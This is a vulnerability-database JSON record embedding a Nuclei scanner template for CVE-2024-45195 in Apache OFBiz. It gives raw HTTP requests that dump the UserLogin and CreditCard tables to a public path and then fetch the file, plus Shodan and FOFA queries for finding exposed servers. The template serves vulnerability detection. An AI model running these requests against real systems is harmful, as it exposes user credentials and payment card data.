{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-45195/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-45195/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-45195/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-45195/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-45195/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-45195"},"sightings":{"href":"/api/v1/sightings/cve-2024-45195"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-45195.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-45195\n\ninfo:\n  name: Apache OFBiz - Remote Code Execution\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server\n  impact: |\n    Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.\n  remediation: |\n    Users are recommended to upgrade to version 18.12.16, which fixes the issue.\n  reference:\n    - https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/\n    - https://ofbiz.apache.org/download.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-45195\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-45195\n    cwe-id: CWE-425\n    epss-score: 0.99983\n    epss-percentile: 0.99982\n    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: apache\n    product: ofbiz\n    shodan-query:\n      - ofbiz.visitor=\n      - http.html:\"ofbiz\"\n    fofa-query:\n      - app=\"apache_ofbiz\"\n      - body=\"ofbiz\"\n  tags: cve,cve2024,apache,ofbiz,rce,instrusive,kev,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename={{filename}}.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard\n\n      - |\n        GET /common/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - \"<?xml version=\"\n          - \"entity-engine-xml\"\n        condition: and\n\n      - type: word\n        part: content_type_2\n        words:\n          - \"text/plain\"\n# digest: 4a0a00473045022100d21760be0ce6aef5ba7aaf419395bf8a6bf23dbe595245b2103c7ae57cf44f25022039b401b8db697e62606db06b70bd7e8dab5708b1393bee6e7ddb067ff9a8c479:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-45195"}